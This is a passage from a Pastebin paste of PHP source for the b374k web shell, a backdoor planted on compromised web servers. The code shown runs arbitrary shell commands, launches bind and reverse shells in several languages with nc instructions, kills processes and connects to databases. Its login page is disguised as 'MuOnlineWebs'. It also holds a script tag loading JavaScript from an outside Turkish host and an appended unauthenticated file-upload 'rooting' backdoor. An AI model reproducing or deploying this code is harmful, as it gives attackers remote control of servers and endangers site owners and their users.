  2319.             foreach ($s_sqllist as $s_sql['type'] => $s_sqltitle) {
  2320.                 if ($s_sql['type'] == "odbc" || $s_sql['type'] == "pdo") {
  2321.                     $s_result .= "<div class='mybox'><h2>" . $s_sqltitle . "</h2>
  2322.                     <form action='" . $s_self . "' method='post' />
  2323.                     <table class='myboxtbl'>
  2324.                     <tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  2325.                     <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
  2326.                     <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
  2327.                     </table>
  2328.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  2329.                     <input type='hidden' name='sqltype' value='" . $s_sql['type'] . "' />
  2330.                     <input type='hidden' name='sqlinit' value='init' />
  2331.                     <input type='hidden' name='x' value='db' />
  2332.                     </form>
  2333.                     </div>";
  2334.                 } elseif ($s_sql['type'] == "sqlite" || $s_sql['type'] == "sqlite3") {
  2335.                     $s_result .= "<div class='mybox'><h2>" . $s_sqltitle . "</h2>
  2336.                     <form action='" . $s_self . "' method='post' />
  2337.                     <table class='myboxtbl'>
  2338.                     <tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  2339.                     </table>
  2340.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  2341.                     <input type='hidden' name='sqltype' value='" . $s_sql['type'] . "' />
  2342.                     <input type='hidden' name='sqlinit' value='init' />
  2343.                     <input type='hidden' name='x' value='db' />
  2344.                     </form>
  2345.                     </div>";
  2346.                 } else {
  2347.                     $s_result .= "<div class='mybox'><h2>" . $s_sqltitle . "</h2>
  2348.                     <form action='" . $s_self . "' method='post' />
  2349.                     <table class='myboxtbl'>
  2350.                     <tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
  2351.                     <tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
  2352.                     <tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
  2353.                     <tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
  2354.                     </table>
  2355.                     <input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  2356.                     <input type='hidden' name='sqltype' value='" . $s_sql['type'] . "' />
  2357.                     <input type='hidden' name='sqlinit' value='init' />
  2358.                     <input type='hidden' name='x' value='db' />
  2359.                     </form>
  2360.                     </div>";
  2361.                 }
  2362.             }
  2363.         }
  2364.     } elseif (isset($_GP['x']) && ($_GP['x'] == 'rs')) {
  2365.         $s_rshost             = $s_server_ip;
  2366.         $s_rsport             = "13123";
  2367.         $s_rspesana           = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
  2368.         $s_rspesanb           = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
  2369.         $s_rs_err             = "";
  2370.         $s_rsbind             = $s_rsback = array();
  2371.         $s_rsbind["bind_php"] = "Bind Shell <span class='desc' style='font-size:12px;'>- php</span>";
  2372.         $s_rsback["back_php"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- php</span>";
  2373.         $s_access             = array(
  2374.             "s_python" => "py",
  2375.             "s_perl" => "pl",
  2376.             "s_ruby" => "rb",
  2377.             "s_node" => "js",
  2378.             "s_nodejs" => "js",
  2379.             "s_gcc" => "c",
  2380.             "s_javac" => "java"
  2381.         );
  2382.         foreach ($s_access as $k => $v) {
  2383.             if (isset($$k)) {
  2384.                 $s_t                    = explode("_", $k);
  2385.                 $s_rsbind["bind_" . $v] = "Bind Shell <span class='desc' style='font-size:12px;'>- " . $s_t[1] . "</span>";
  2386.                 $s_rsback["back_" . $v] = "Reverse Shell <span class='desc' style='font-size:12px;'>- " . $s_t[1] . "</span>";
  2387.             }
  2388.         }
  2389.         if ($s_win) {
  2390.             $s_rsbind["bind_win"] = "Bind Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
  2391.             $s_rsback["back_win"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
  2392.         }
  2393.         $s_rslist = array_merge($s_rsbind, $s_rsback);
  2394.         if (!@is_writable($s_cwd))
  2395.             $s_result .= notif("Directory " . $s_cwd . " is not writable, please change to a writable one");
  2396.         foreach ($s_rslist as $s_rstype => $s_rstitle) {
  2397.             $s_split = explode("_", $s_rstype);
  2398.             if ($s_split[0] == "bind") {
  2399.                 $s_rspesan    = $s_rspesana;
  2400.                 $s_rsdisabled = "disabled='disabled'";
  2401.                 $s_rstarget   = $s_server_ip;
  2402.                 $s_labelip    = "Server IP";
  2403.             } elseif ($s_split[0] == "back") {
  2404.                 $s_rspesan    = $s_rspesanb;
  2405.                 $s_rsdisabled = "";
  2406.                 $s_rstarget   = $s_my_ip;
  2407.                 $s_labelip    = "Target IP";
  2408.             }
  2409.             if (isset($_GP[$s_rstype])) {
  2410.                 if (isset($_GP["rshost_" . $s_rstype]))
  2411.                     $s_rshost_ = $_GP["rshost_" . $s_rstype];
  2412.                 if (isset($_GP["rsport_" . $s_rstype]))
  2413.                     $s_rsport_ = $_GP["rsport_" . $s_rstype];
  2414.                 if ($s_split[0] == "bind")
  2415.                     $s_rstarget_packed = $s_rsport_;
  2416.                 elseif ($s_split[0] == "back")
  2417.                     $s_rstarget_packed = $s_rsport_ . " " . $s_rshost_;
  2418.                 if ($s_split[1] == "pl")
  2419.                     $s_rscode = $s_rs_pl;
  2420.                 elseif ($s_split[1] == "py")
  2421.                     $s_rscode = $s_rs_py;
  2422.                 elseif ($s_split[1] == "rb")
  2423.                     $s_rscode = $s_rs_rb;
  2424.                 elseif ($s_split[1] == "js")
  2425.                     $s_rscode = $s_rs_js;
  2426.                 elseif ($s_split[1] == "c")
  2427.                     $s_rscode = $s_rs_c;
  2428.                 elseif ($s_split[1] == "java")
  2429.                     $s_rscode = $s_rs_java;
  2430.                 elseif ($s_split[1] == "win")
  2431.                     $s_rscode = $s_rs_win;
  2432.                 elseif ($s_split[1] == "php")
  2433.                     $s_rscode = $s_rs_php;
  2434.                 $s_buff = rs($s_rstype, $s_rstarget_packed, $s_rscode);
  2435.                 if ($s_buff != "")
  2436.                     $s_rs_err = notif(hss($s_buff));
  2437.             }
  2438.             $s_result .= "<div class='mybox'><h2>" . $s_rstitle . "</h2>
  2439.             <form action='" . $s_self . "' method='post' />
  2440.             <table class='myboxtbl'>
  2441.             <tr><td style='width:100px;'>" . $s_labelip . "</td><td><input " . $s_rsdisabled . " style='width:100%;' class='inputz' type='text' name='rshost_" . $s_rstype . "' value='" . hss($s_rstarget) . "' /></td></tr>
  2442.             <tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_" . $s_rstype . "' value='" . hss($s_rsport) . "' /></td></tr>
  2443.             </table>
  2444.             <input type='submit' name='" . $s_rstype . "' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  2445.             &nbsp;&nbsp;<span>" . $s_rspesan . "</span>
  2446.             <input type='hidden' name='x' value='rs' />
  2447.             </form>
  2448.             </div>";
  2449.         }
  2450.         $s_result = $s_rs_err . $s_result;
  2451.     } elseif (isset($_GP['x']) && ($_GP['x'] == 'ps')) {
  2452.         $s_buff = "";
  2453.         if (isset($_GP['pid'])) {
  2454.             $s_p    = trim($_GP['pid'], "|");
  2455.             $s_parr = explode("|", $s_p);
  2456.             foreach ($s_parr as $s_p) {
  2457.                 if (function_exists("posix_kill"))
  2458.                     $s_buff .= (posix_kill($s_p, '9')) ? notif("Process with pid " . $s_p . " has been successfully killed") : notif("Unable to kill process with pid " . $s_p);
  2459.                 else {
  2460.                     if (!$s_win)
  2461.                         $s_buff .= notif(exe("kill -9 " . $s_p));
  2462.                     else
  2463.                         $s_buff .= notif(exe("taskkill /F /PID " . $s_p));
  2464.                 }
  2465.             }
  2466.         }
  2467.         if (!$s_win)
  2468.             $s_h = "ps aux";
  2469.         else
  2470.             $s_h = "tasklist /V /FO csv";
  2471.         $s_wcount   = 11;
  2472.         $s_wexplode = " ";
  2473.         if ($s_win)
  2474.             $s_wexplode = "\",\"";
  2475.         $s_res = exe($s_h);
  2476.         if (trim($s_res) == '')
  2477.             $s_result = notif("Error getting process list");
  2478.         else {
  2479.             if ($s_buff != "")
  2480.                 $s_result = $s_buff;
  2481.             $s_result .= "<table class='explore sortable'>";
  2482.             if (!$s_win)
  2483.                 $s_res = preg_replace('#\ +#', ' ', $s_res);
  2484.             $s_psarr    = explode("\n", $s_res);
  2485.             $s_fi       = true;
  2486.             $s_tblcount = 0;
  2487.             $s_check    = explode($s_wexplode, $s_psarr[0]);
  2488.             $s_wcount   = count($s_check);
  2489.             foreach ($s_psarr as $s_psa) {
  2490.                 if (trim($s_psa) != '') {
  2491.                     if ($s_fi) {
  2492.                         $s_fi   = false;
  2493.                         $s_psln = explode($s_wexplode, $s_psa, $s_wcount);
  2494.                         $s_result .= "<tr><th style='width:24px;' class='sorttable_nosort'></th><th class='sorttable_nosort'>action</th>";
  2495.                         foreach ($s_psln as $s_p)
  2496.                             $s_result .= "<th>" . trim(trim(strtolower($s_p)), "\"") . "</th>";
  2497.                         $s_result .= "</tr>";
  2498.                     } else {
  2499.                         $s_psln = explode($s_wexplode, $s_psa, $s_wcount);
  2500.                         $s_result .= "<tr>";
  2501.                         $s_tblcount = 0;
  2502.                         foreach ($s_psln as $s_p) {
  2503.                             $s_pid     = trim(trim($s_psln[1]), "\"");
  2504.                             $s_piduniq = substr(md5($s_pid), 0, 8);
  2505.                             if (trim($s_p) == "")
  2506.                                 $s_p = "&nbsp;";
  2507.                             if ($s_tblcount == 0) {
  2508.                                 $s_result .= "<td style='text-align:center;text-indent:4px;'><input id='" . $s_piduniq . "' name='cbox' value='" . $s_pid . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='" . $s_piduniq . "' class='css-label'></label></td><td class='ce'><a href='" . $s_self . "x=ps&pid=" . $s_pid . "'>kill</a></td><td class='ce'>" . trim(trim($s_p), "\"") . "</td>";
  2509.                                 $s_tblcount++;
  2510.                             } else {
  2511.                                 $s_tblcount++;
  2512.                                 if ($s_tblcount == count($s_psln))
  2513.                                     $s_result .= "<td class='le'>" . trim(trim($s_p), "\"") . "</td>";
  2514.                                 else
  2515.                                     $s_result .= "<td class='ce'>" . trim(trim($s_p), "\"") . "</td>";
  2516.                             }
  2517.                         }
  2518.                         $s_result .= "</tr>";
  2519.                     }
  2520.                 }
  2521.             }
  2522.             $colspan = count($s_psln) + 1;
  2523.             $s_result .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>
  2524.             <form action='" . $s_self . "' method='post'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /><label for='checkalll' class='css-label'></label></form>
  2525.             </td><td style='text-indent:10px;padding:2px;' colspan=" . $colspan . "><a href='javascript: pkill();'>kill selected <span id='total_selected'></span></a></td>
  2526.             </tr></tfoot></table>";
  2527.         }
  2528.     } elseif (isset($_GP['x']) && ($_GP['x'] == 'pass')) {
  2529.         if (isset($_GP['submitnewpass'])) {
  2530.             $newpass  = isset($_GP['newpass']) ? trim($_GP['newpass']) : "";
  2531.             $newpassx = isset($_GP['newpassx']) ? trim($_GP['newpassx']) : "";
  2532.             if (empty($newpass) || empty($newpassx)) {
  2533.                 $s_result .= notif('Give your new password to both fields');
  2534.             } elseif ($newpass != $newpassx) {
  2535.                 $s_result .= notif('Password does not match');
  2536.             } else {
  2537.                 if (changepass($newpass)) {
  2538.                     $s_result .= notif("Password changed");
  2539.                 } else
  2540.                     $s_result .= notif("Unable to change password");
  2541.             }
  2542.         }
  2543.         $s_result .= "<div class='mybox'><h2>Change shell password</h2>
  2544.             <form action='" . $s_self . "' method='post' />
  2545.             <table class='myboxtbl'>
  2546.             <tr><td style='width:120px;'>New password</td><td><input style='width:100%;' class='inputz' type='password' name='newpass' value='' /></td></tr>
  2547.             <tr><td style='width:120px;'>Confirm password</td><td><input style='width:100%;' class='inputz' type='password' name='newpassx' value='' /></td></tr>
  2548.             </table>
  2549.             <input type='submit' name='submitnewpass' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  2550.             <input type='hidden' name='x' value='pass' />
  2551.             </form>
  2552.             </div>";
  2553.     } else {
  2554.         if (!isset($s_cwd))
  2555.             $s_cwd = "";
  2556.         if (isset($_GP['cmd'])) {
  2557.             $s_cmd = $_GP['cmd'];
  2558.             if (strlen($s_cmd) > 0) {
  2559.                 if (preg_match('#^cd(\ )+(.*)#', $s_cmd, $s_r)) {
  2560.                     $s_nd = trim($s_r[2]);
  2561.                     if (@is_dir($s_nd)) {
  2562.                         chdir($s_nd);
  2563.                         $s_cwd = cp(getcwd());
  2564.                         setcookie("cwd", $s_cwd, time() + $s_login_time);
  2565.                         $s_result .= showdir($s_cwd);
  2566.                     } elseif (@is_dir($s_cwd . $s_nd)) {
  2567.                         chdir($s_cwd . $s_nd);
  2568.                         $s_cwd = cp(getcwd());
  2569.                         setcookie("cwd", $s_cwd, time() + $s_login_time);
  2570.                         $s_result .= showdir($s_cwd);
  2571.                     } else
  2572.                         $s_result .= notif(hss($s_nd) . " is not a directory");
  2573.                 } else {
  2574.                     $s_r = hss(exe($s_cmd));
  2575.                     if ($s_r != '')
  2576.                         $s_result .= "<pre>" . $s_r . "</pre>";
  2577.                     else
  2578.                         $s_result .= showdir($s_cwd);
  2579.                 }
  2580.             } else
  2581.                 $s_result .= showdir($s_cwd);
  2582.         } else
  2583.             $s_result .= showdir($s_cwd);
  2584.     }
  2585.     $s_letters = '';
  2586.     $s_v       = explode("\\", $s_cwd);
  2587.     $s_v       = $s_v[0];
  2588.     foreach (range("A", "Z") as $s_letter) {
  2589.         if (@is_readable($s_letter . ":\\")) {
  2590.             $s_letters .= "<a href='" . $s_self . "cd=" . $s_letter . ":\\'>[ ";
  2591.             if ($s_letter . ":" != $s_v)
  2592.                 $s_letters .= $s_letter;
  2593.             else {
  2594.                 $s_letters .= "<span class='drive-letter'>" . $s_letter . "</span>";
  2595.             }
  2596.             $s_letters .= " ]</a> ";
  2597.         }
  2598.     }
  2599.     $s_info = "<table class='headtbl'><tr><td>" . $s_system . "</td></tr>";
  2600.     $s_info .= "<tr><td>" . $s_software . "</td></tr>";
  2601.     $s_info .= "<tr><td>server ip : " . $s_server_ip . "<span class='gaya'> | </span>your   ip : " . $s_my_ip;
  2602.     $s_info .= "<span class='gaya'> | </span> Time @ Server : " . @date("d M Y H:i:s", time());
  2603.     $s_info .= "</td></tr>
  2604.             <tr><td style='text-align:left;'>
  2605.                 <table class='headtbls'><tr>
  2606.                 <td>" . trim($s_letters) . "</td>
  2607.                 <td>
  2608.                 <span id='chpwd'>
  2609.                 &nbsp;<a href=\"javascript:tukar_('chpwd','chpwdform')\">
  2610.                 <span class='icon'>o</span>
  2611.                 &nbsp;&nbsp;</a>" . swd($s_cwd) . "</span>
  2612.                 <form action='" . $s_self . "' method='post' style='margin:0;padding:0;'>
  2613.                 <span class='sembunyi' id='chpwdform'>
  2614.                 &nbsp;<a href=\"javascript:tukar_('chpwdform','chpwd');\">
  2615.                 <span class='icon'>o</span>
  2616.                 </a>&nbsp;&nbsp;
  2617.                 <input type='text' name='view' class='inputz' style='width:300px;' value='" . hss($s_cwd) . "' />
  2618.                 <input class='inputzbut' type='submit' name='submit' value='view file / folder' />
  2619.                 </span>
  2620.                 </form>
  2621.                 </td></tr>
  2622.                 </table>
  2623.             </td></tr>
  2624.             </table>";
  2625. }
  2626. $s_error  = @ob_get_contents();
  2627. $s_result = isset($s_result) ? $s_result : "";
  2628. if (!empty($s_error))
  2629.     $s_result = notif($s_error) . $s_result;
  2630. @ob_end_clean();
  2631. @ob_start();
  2632. ?><!DOCTYPE html>
  2633. <html>
  2634. <head>
  2635. <title><?php
  2636. echo $s_title;
  2637. ?></title>
  2638. <meta charset="utf-8">
  2639. <meta name='robots' content='noindex, nofollow, noarchive'>
  2640. <link rel='SHORTCUT ICON' href='<?php
  2641. echo $s_favicon;
  2642. ?>'>
  2643. <?php
  2644. echo get_code("css", $s_css);
  2645. ?>
  2646. </head>
  2647. <body>
  2648. <table id='main'><tr><td>
  2649. <?php
  2650. if ($s_auth) {
  2651. ?>
  2652.    <div><span style='float:right;'><?php
  2653.     if (!isset($_COOKIE['b374k_included'])) {
  2654. ?><a href='?x=pass'>password</a> |
  2655.     <?php
  2656.     }
  2657. ?><a href='<?php
  2658.     echo $s_self;
  2659. ?>x=logout' title='Click me to log out'>log out</a>  <a href='<?php
  2660.     echo $s_self;
  2661. ?>x=switch' title='Click me to change theme'><span class='schemabox'>&nbsp;&nbsp;</span></a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php
  2662.     echo $s_self . "cd=" . cp(dirname(realpath($_SERVER['SCRIPT_FILENAME'])));
  2663. ?>'>b374k</a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'><?php
  2664.     echo $s_ver;
  2665. ?></div></td></tr></table></td>    <td><div class='headinfo'><?php
  2666.     echo $s_info;
  2667. ?></div></td></tr></table></div>
  2668.     <div style='clear:both;'></div>
  2669.     <form method='post' name='g'></form>
  2670.     <div id='menu'>
  2671.         <table style='width:100%;'><tr>
  2672.         <td><a href='<?php
  2673.     echo $s_self;
  2674. ?>' title='Explorer'><div class='menumi'>xpl</div></a></td>
  2675.         <td><a href='<?php
  2676.     echo $s_self;
  2677. ?>x=ps' title='Display process status'><div class='menumi'>ps</div></a></td>
  2678.         <td><a href='<?php
  2679.     echo $s_self;
  2680. ?>x=eval' title='Execute code'><div class='menumi'>eval</div></a></td>
  2681.         <td><a href='<?php
  2682.     echo $s_self;
  2683. ?>x=info' title='Information about server'><div class='menumi'>info</div></a></td>
  2684.         <td><a href='<?php
  2685.     echo $s_self;
  2686. ?>x=db' title='Connect to database'><div class='menumi'>db</div></a></td>
  2687.         <td><a href='<?php
  2688.     echo $s_self;
  2689. ?>x=rs' title='Remote Shell'><div class='menumi'>rs</div></a></td>
  2690.         <td style='width:100%;padding:0 0 0 6px;'>
  2691.         <span class='prompt'><?php
  2692.     echo $s_prompt;
  2693. ?></span><form action='<?php
  2694.     echo $s_self;
  2695. ?>' method='post'>
  2696.         <input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
  2697.     if (isset($_GP['cmd']))
  2698.         echo "";
  2699.     else
  2700.         echo "- shell command -";
  2701. ?>' />
  2702.         <noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript>
  2703.         </form>
  2704.         </td>
  2705.         </tr></table>
  2706.     </div>
  2707.     <div id='content'>
  2708.         <div id='result'><?php
  2709.     echo "__RESULT__";
  2710. ?></div>
  2711.     </div>
  2712.     <div id='navigation'>
  2713.     <div id='totop' onclick='totopd();' onmouseover='totop();' onmouseout='stopscroll();'></div>
  2714.     <div id='tobottom' onclick='tobottomd();' onmouseover='tobottom();' onmouseout='stopscroll();'></div>
  2715.     </div>
  2716. <?php
  2717. } else {
  2718. ?>
  2719.    <div style='width:100%;text-align:center;'>
  2720.     <form action='<?php
  2721.     echo $s_self;
  2722. ?>' method='post'>
  2723.     <img src='<?php
  2724.     echo $s_favicon;
  2725. ?>' style='margin:2px;vertical-align:middle;' />
  2726.     MuOnlineWebs&nbsp;<span class='gaya'><?php
  2727.     echo $s_ver;
  2728. ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
  2729.     <input class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' />
  2730.     </form>
  2731.     </div>
  2732. <?php
  2733. }
  2734. ?>    </td></tr></table>
  2735. <p class='footer'>Jayalah Indonesiaku &copy;<?php
  2736. echo @date("Y", time()) . " ";
  2737. ?>b374k</p>
  2738. <script type='text/javascript'>
  2739. var d = document;
  2740. var scroll = false;
  2741. var cwd = '<?php
  2742. echo hss(adds($s_cwd));
  2743. ?>';
  2744. var hexstatus = false;
  2745. var timer = '';
  2746. var x = '<?php
  2747. if (isset($_GP['x']) && ($_GP['x'] == 'ps'))
  2748.     echo "ps";
  2749. ?>';
  2750. var sself = '<?php
  2751. echo adds($s_self);
  2752. ?>';
  2753. var hexcounter = 0;
  2754. var hextimer = '';
  2755. var counter = 0;
  2756.  
  2757. </script>
  2758. <?php
  2759. echo get_code("js", $s_js);
  2760. ?>
  2761. <script type='text/javascript'>
  2762. domready(function(){
  2763.     <?php
  2764. if (isset($_GP['cmd']))
  2765.     echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();";
  2766. ?>
  2767.    <?php
  2768. if (isset($_GP['evalcode']))
  2769.     echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();";
  2770. ?>
  2771.    <?php
  2772. if (isset($_GP['sqlcode']))
  2773.     echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();";
  2774. ?>
  2775.    <?php
  2776. if (isset($_GP['login']))
  2777.     echo "if(d.getElementById('login')) d.getElementById('login').focus();";
  2778. ?>
  2779.    <?php
  2780. if (isset($_GP['hexedit']))
  2781.     echo "showhex();";
  2782. ?>
  2783.  
  2784.     if(d.getElementById('cmd')) d.getElementById('cmd').setAttribute('autocomplete', 'off');
  2785.  
  2786.     var textareas = d.getElementsByTagName('textarea');
  2787.     var count = textareas.length;
  2788.     for(i = 0; i<count; i++){
  2789.         textareas[i].onkeydown = function(e){
  2790.             if(e.keyCode==9){
  2791.                 e.preventDefault();
  2792.                 var s = this.selectionStart;
  2793.                 this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
  2794.                 this.selectionEnd = s+1;
  2795.             }
  2796.             else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
  2797.                 this.form.submit();
  2798.             }
  2799.         }
  2800.     }
  2801.     listen();
  2802. });
  2803. </script>
  2804. </body>
  2805. </html><?php
  2806. $s_html = ob_get_contents();
  2807. ob_end_clean();
  2808. $whitespace = "/(\s{2,}|\n{1,})/";
  2809. $s_html     = preg_replace($whitespace, " ", $s_html);
  2810. $s_html     = str_replace("__RESULT__", $s_result, $s_html);
  2811. echo $s_html;
  2812. die();
  2813. echo "<SCRIPT SRC=http://r57.gen.tr/yazciz/ciz.js></SCRIPT>";
  2814. ?>
  2815. <?php
  2816. function rooting()
  2817. {
  2818.     echo '<b>Sw Bilgi<br><br>' . php_uname() . '<br></b>';
  2819.     echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  2820.     echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  2821.     if ($_POST['_upl'] == "Upload") {
  2822.         if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
  2823.             echo '<b>Yuklendi</b><br><br>';
  2824.         } else {
  2825.             echo '<b>Basarisiz</b><br><br>';
  2826.         }
  2827.     }
  2828. }
  2829. $x = $_GET["x"];
  2830. Switch ($x) {
  2831.     case "rooting";
  2832.         rooting();
  2833.         break;
  2834. }
  2835. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top